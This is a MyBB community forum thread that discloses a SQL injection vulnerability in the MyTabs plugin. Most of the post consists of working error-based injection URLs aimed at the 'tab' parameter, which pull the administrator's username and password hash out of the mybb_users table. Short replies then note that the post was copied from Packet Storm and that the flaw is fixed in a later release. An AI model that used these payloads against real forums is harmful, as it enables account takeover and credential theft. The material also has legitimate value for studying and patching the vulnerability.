MyBB Community Forums

Full Version: MyTabs (plugin) SQL injection vulnerability
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Vulnerability :

$~ http://localhost/mybbpath/index.php?tab=[SQLi]

---------------------------------------
# ~ Expl0itation ~ #
---------------------------------------

$~ Get the administrator's username (usually it has uid=1) ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

$~ Get the administrator's password ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -
Nice to know that you can copy and paste from packetstorm security.
This should be fixed in the latest release:

http://community.mybb.com/thread-88505.html